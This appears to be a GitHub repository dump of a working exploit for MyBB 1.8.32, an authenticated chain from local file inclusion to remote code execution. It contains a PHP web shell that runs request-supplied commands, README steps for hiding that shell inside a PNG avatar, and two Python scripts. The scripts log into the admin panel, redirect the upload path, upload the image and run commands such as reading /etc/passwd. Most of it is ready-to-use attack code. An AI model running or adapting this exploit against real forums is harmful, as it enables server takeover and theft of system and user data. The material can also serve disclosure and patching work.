├── img ├── 1.png ├── 2.png └── 3.png ├── test.png ├── mybb_rce_in_adminPanel.pdf ├── simple-backdoor.php ├── test.py ├── README.md └── exp.py /img/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FDlucifer/mybb_1832_LFI_RCE/HEAD/img/1.png -------------------------------------------------------------------------------- /img/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FDlucifer/mybb_1832_LFI_RCE/HEAD/img/2.png -------------------------------------------------------------------------------- /img/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FDlucifer/mybb_1832_LFI_RCE/HEAD/img/3.png -------------------------------------------------------------------------------- /test.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FDlucifer/mybb_1832_LFI_RCE/HEAD/test.png -------------------------------------------------------------------------------- /mybb_rce_in_adminPanel.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FDlucifer/mybb_1832_LFI_RCE/HEAD/mybb_rce_in_adminPanel.pdf -------------------------------------------------------------------------------- /simple-backdoor.php: -------------------------------------------------------------------------------- 1 | "; 4 | $cmd = ($_REQUEST['cmd']); 5 | system($cmd); 6 | echo ""; 7 | phpinfo(); 8 | } 9 | ?> 10 | -------------------------------------------------------------------------------- /test.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from bs4 import BeautifulSoup 3 | import re 4 | 5 | r_clients = requests.Session() 6 | 7 | data1 = { 8 | "username" : "admin", 9 | "password" : "123456", 10 | "do" : "login" 11 | } 12 | 13 | login_txt = r_clients.post("http://www.mybb1832.com/admin/index.php", data=data1).text 14 | 15 | if "The username and password combination you entered is invalid" in login_txt: 16 | print("[-] Login failure. Incorrect credentials supplied") 17 | exit(0) 18 | 19 | print("[+] Login successful!") 20 | 21 | if "Access Denied" in login_txt: 22 | print("[-] Supplied user doesn't have the rights to add a setting") 23 | exit(0) 24 | 25 | soup = BeautifulSoup(login_txt, "lxml") 26 | my_post_key = soup.find_all("input", {"name" : "my_post_key"})[0]['value'] 27 | print("[+] my_post_key: ", my_post_key) 28 | print("[+] cookies: ", r_clients.cookies.get_dict()) 29 | cookies = r_clients.cookies.get_dict() 30 | 31 | data2 = { 32 | 'my_post_key': my_post_key, 33 | 'file': "avatar_1.png", 34 | 'lang': "english", 35 | 'editwith': "..", 36 | 'inadmin': 0 37 | } 38 | 39 | 40 | exec_url = "http://www.mybb1832.com/admin/index.php?module=config-languages&action=edit&cmd=cat+/etc/passwd" 41 | 42 | commands_exec = r_clients.post(exec_url, data=data2, cookies=cookies) 43 | 44 | if commands_exec.status_code != 200: 45 | soup = BeautifulSoup(commands_exec.text, "lxml") 46 | error_txt = soup.find_all("div", {"class" : "error"})[0].text 47 | print("[-] command exec didn't work. Reason: '{}'".format(error_txt)) 48 | exit(0) 49 | 50 | 51 | cmd_output = re.findall(r'(.*?)', commands_exec.text, re.S) 52 | 53 | print("[+] exec status: ", commands_exec.status_code) 54 | print("[+] command exec success:\n\n", cmd_output[0].replace("\n", "\n")) 55 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # MyBB 1.8.32 - Chained LFI Remote Code Execution (RCE) (Authenticated) 2 | 3 | - exploit database exp [MyBB 1.8.32 - Remote Code Execution (RCE) (Authenticated)](https://www.exploit-db.com/exploits/51213) 4 | - detailed analyse to [mybb 1.8.32 代码审计 + LFI RCE 复现](https://fdlucifer.github.io/2023/01/17/mybb1-8-32-LFI-RCE/) 5 | 6 | (1). An RCE can be obtained on MyBB's Admin CP in Configuration -> Profile Options -> Avatar Upload Path. to change Avatar Upload Path to /inc to bypass blacklist upload dir. 7 | 8 | (2). after doing that, then we are able to chain in "admin avatar upload" page: http://www.mybb1832.cn/admin/index.php?module=user-users&action=edit&uid=1#tab_avatar, and LFI in "Edit Language Variables" page: http://www.mybb1832.cn/admin/index.php?module=config-languages&action=edit&lang=english. 9 | 10 | (3). This chained bugs can lead to Authenticated RCE. 11 | (note). The user must have rights to add or update settings and update Avatar. This is tested on MyBB 1.8.32. 12 | 13 | ## Exp Usage: 14 | 15 | 1. first choose a png file that size less than 1kb 16 | 2. then merge the png file with a php simple backdoor file using the following commands 17 | 18 | ``` bash 19 | mac@xxx-2 php-backdoor % cat simple-backdoor.php 20 | "; 23 | $cmd = ($_REQUEST['cmd']); 24 | system($cmd); 25 | echo ""; 26 | phpinfo(); 27 | } 28 | ?> 29 | mac@xxx-2 php-backdoor % ls 30 | simple-backdoor.php test.png 31 | mac@xxx-2 php-backdoor % cat simple-backdoor.php >> test.png 32 | mac@xxx-2 php-backdoor % file test.png 33 | test.png: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced 34 | ``` 35 | 36 | 3. finally run the following commands to run the exp script to get RCE output! enjoy the shell... 37 | 38 | ``` bash 39 | python3 exp.py --host http://www.xxx.cn --username admin --password xxx --email xxx@qq.com --file avatar_1.png --cmd "cat /etc/passwd" 40 | ``` 41 | 42 | - ![](img/1.png) 43 | - ![](img/2.png) 44 | - ![](img/3.png) 45 | 46 | ## reference 47 | 48 | - [mybb 1.8.32 RCE in admin panel report](https://twitter.com/yelang123x/status/1613433380980547584) 49 | - [MyBB](https://en.wikipedia.org/wiki/MyBB) 50 | - [MyBB github](https://github.com/mybb/mybb) 51 | - [记一次mybb代码审计](https://xz.aliyun.com/t/7213) 52 | - [mybb bugs in exploit database](https://www.exploit-db.com/search?q=mybb&type=webapps&platform=php) -------------------------------------------------------------------------------- /exp.py: -------------------------------------------------------------------------------- 1 | # Exploit Title: MyBB 1.8.32 - Chained LFI Remote Code Execution (RCE) (Authenticated) 2 | # Date: 2023-01-19 3 | # Exploit Author: lUc1f3r11 (https://github.com/FDlucifer) 4 | # Vendor Homepage: https://mybb.com/ 5 | # Software Link: https://github.com/mybb/mybb/releases/tag/mybb_1832 6 | # Version: MyBB 1.8.32 7 | # Tested on: Linux 8 | # CVE : N/A 9 | # Detailed Analysis : https://fdlucifer.github.io/2023/01/17/mybb1-8-32-LFI-RCE/ 10 | 11 | # (1). An RCE can be obtained on MyBB's Admin CP in Configuration -> Profile Options -> Avatar Upload Path. to change Avatar Upload Path to /inc to bypass blacklist upload dir. 12 | # (2). after doing that, then we are able to chain in "admin avatar upload" page: http://www.mybb1832.cn/admin/index.php?module=user-users&action=edit&uid=1#tab_avatar, and LFI in "Edit Language Variables" page: http://www.mybb1832.cn/admin/index.php?module=config-languages&action=edit&lang=english. 13 | # (3). This chained bugs can lead to Authenticated RCE. 14 | # (note). The user must have rights to add or update settings and update Avatar. This is tested on MyBB 1.8.32. 15 | # 16 | # 17 | # Exp Usage: 18 | # 1.first choose a png file that size less than 1kb 19 | # 2.then merge the png file with a php simple backdoor file using the following commands 20 | # mac@xxx-2 php-backdoor % cat simple-backdoor.php 21 | # "; 24 | # $cmd = ($_REQUEST['cmd']); 25 | # system($cmd); 26 | # echo ""; 27 | # phpinfo(); 28 | # } 29 | # ?> 30 | # mac@xxx-2 php-backdoor % ls 31 | # simple-backdoor.php test.png 32 | # mac@xxx-2 php-backdoor % cat simple-backdoor.php >> test.png 33 | # mac@xxx-2 php-backdoor % file test.png 34 | # test.png: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced 35 | # 3.finnally run the following commands to run the exp script to get RCE output! enjoy the shell... 36 | # python3 exp.py --host http://www.xxx.cn --username admin --password xxx --email xxx@qq.com --file avatar_1.png --cmd "cat /etc/passwd" 37 | 38 | 39 | import requests 40 | import argparse 41 | from bs4 import BeautifulSoup 42 | from requests_toolbelt import MultipartEncoder 43 | import re 44 | 45 | proxies = {"http":"http://127.0.0.1:8080"} 46 | 47 | r_clients = requests.Session() 48 | 49 | 50 | def exploit(username, password, email, host, file, cmd): 51 | # Adding ./inc upload path settings to bypass avatar upload path blacklists 52 | 53 | data = { 54 | "username" : username, 55 | "password" : password, 56 | "do" : "login" 57 | } 58 | 59 | login_txt = r_clients.post(host + "/admin/index.php", data=data).text 60 | 61 | if "The username and password combination you entered is invalid" in login_txt: 62 | print("[-] Login failure. Incorrect credentials supplied") 63 | exit(0) 64 | 65 | print("[+] Login successful!") 66 | 67 | if "Access Denied" in login_txt: 68 | print("[-] Supplied user doesn't have the rights to add a setting") 69 | exit(0) 70 | 71 | print("[*] Adding ./inc upload path settings...") 72 | 73 | soup = BeautifulSoup(login_txt, "lxml") 74 | my_post_key = soup.find_all("input", {"name" : "my_post_key"})[0]['value'] 75 | print("[+] my_post_key: ", my_post_key) 76 | print("[+] cookies: ", r_clients.cookies.get_dict()) 77 | cookies = r_clients.cookies.get_dict() 78 | 79 | data = { 80 | "my_post_key" : my_post_key, 81 | "gid" : 10, 82 | "upsetting[sigmycode]" : 1, 83 | "upsetting[sigcountmycode]" : 1, 84 | "upsetting[sigsmilies]" : 1, 85 | "upsetting[sightml]" : 0, 86 | "upsetting[sigimgcode]" : 1, 87 | "upsetting[maxsigimages]" : 2, 88 | "upsetting[siglength]" : 255, 89 | "upsetting[hidesignatures]" : "", 90 | "upsetting[hidewebsite]" : "", 91 | "upsetting[useravatar]" : "./inc", 92 | "upsetting[useravatardims]" : "100x100", 93 | "upsetting[useravatarrating]" : 0, 94 | "upsetting[maxavatardims]" : "100x100", 95 | "upsetting[avatarsize]" : 25, 96 | "upsetting[avatarresizing]" : "auto", 97 | "upsetting[avataruploadpath]" : "./inc", 98 | "upsetting[allowremoteavatars]" : 1, 99 | "upsetting[customtitlemaxlength]" : 40, 100 | "upsetting[allowaway]" : 1, 101 | "upsetting[allowbuddyonly]" : 0 102 | } 103 | 104 | modify_settings_txt = r_clients.post(host + "/admin/index.php?module=config-settings&action=change",data=data,allow_redirects=False, cookies=cookies) 105 | 106 | if modify_settings_txt.status_code != 302: 107 | soup = BeautifulSoup(modify_settings_txt.text, "lxml") 108 | error_txt = soup.find_all("div", {"class" : "error"})[0].text 109 | print("[-] modify upload path failed. Reason: '{}'".format(error_txt)) 110 | exit(0) 111 | 112 | print("[+] ./inc upload path settings added!") 113 | 114 | # upload malicious avatar in admin panel 115 | with open("test.png", "rb") as f: 116 | image_binary = f.read() 117 | print("[+] read image successful! ") 118 | 119 | print("[+] image contents: ", image_binary) 120 | 121 | filename = "test.png" 122 | 123 | data1 = { 124 | 'my_post_key': my_post_key, 125 | 'username': username, 126 | 'email': email, 127 | 'postnum': "0", 128 | 'threadnum': "0", 129 | 'avatar_upload': (filename, open(filename, 'rb'), 'image/png') 130 | } 131 | 132 | m = MultipartEncoder(data1) 133 | 134 | headers = { 135 | "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0", 136 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", 137 | "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", 138 | "Accept-Encoding": "gzip, deflate", 139 | "Content-Type": m.content_type, 140 | "Origin": "null", 141 | "Connection": "close", 142 | "Upgrade-Insecure-Requests": "1" 143 | } 144 | 145 | upload_url = host + "/admin/index.php?module=user-users&action=edit&uid=1" 146 | 147 | upload = r_clients.post(upload_url, data=m, allow_redirects=False, headers=headers, cookies=cookies) 148 | 149 | if upload.status_code != 302: 150 | soup = BeautifulSoup(upload.text, "lxml") 151 | error_txt = soup.find_all("div", {"class" : "error"})[0].text 152 | print("[-] upload avatar didn't work. Reason: '{}'".format(error_txt)) 153 | exit(0) 154 | 155 | print("[+] upload malicious avatar png success!") 156 | 157 | # commands exec and get the output, we are done finally :) 158 | data2 = { 159 | 'my_post_key': my_post_key, 160 | 'file': file, 161 | 'lang': "english", 162 | 'editwith': "..", 163 | 'inadmin': 0 164 | } 165 | 166 | exec_url = host + "/admin/index.php?module=config-languages&action=edit&cmd=" + cmd 167 | 168 | commands_exec = r_clients.post(exec_url, data=data2, cookies=cookies) 169 | 170 | if commands_exec.status_code != 200: 171 | soup = BeautifulSoup(commands_exec.text, "lxml") 172 | error_txt = soup.find_all("div", {"class" : "error"})[0].text 173 | print("[-] command exec didn't work. Reason: '{}'".format(error_txt)) 174 | exit(0) 175 | 176 | cmd_output = re.findall(r'(.*?)', commands_exec.text, re.S) 177 | 178 | print("[+] exec status: ", commands_exec.status_code) 179 | print("[+] command exec success:\n\n", cmd_output[0].replace("\n", "\n")) 180 | 181 | 182 | parser = argparse.ArgumentParser() 183 | parser.add_argument('--username', required=True, help="MyBB Admin CP username") 184 | parser.add_argument('--password', required=True, help="MyBB Admin CP password") 185 | parser.add_argument('--email', required=True, help="MyBB Admin CP admin's email (easy to find in admin users panal)") 186 | parser.add_argument('--file', required=True, help="the image file name in the server that we uploaded before. (easy to find in admin users panal)") 187 | parser.add_argument('--host', required=True, help="e.g. http://target.website.local, http://10.10.10.10, http://192.168.23.101:8000") 188 | parser.add_argument('--cmd', required=False, help="Command to run") 189 | args = parser.parse_args() 190 | 191 | username = args.username 192 | password = args.password 193 | email = args.email 194 | file = args.file 195 | host = args.host 196 | cmd = "id" if args.cmd == None else args.cmd 197 | 198 | print("""_______________________________________\n 199 | / MyBB 1.8.32 - Chained LFI Remote Code \ \n 200 | \ Execution (RCE) (Authenticated) / \n 201 | --------------------------------------- \n 202 | \ ^__^ \n 203 | \ (oo)\_______ \n 204 | (__)\ )\/\ \n 205 | ||----w | \n 206 | || || \n 207 | Author: lUc1f3r11 208 | Github: https://github.com/FDlucifer""") 209 | exploit(username, password, email, host, file, cmd) 210 | --------------------------------------------------------------------------------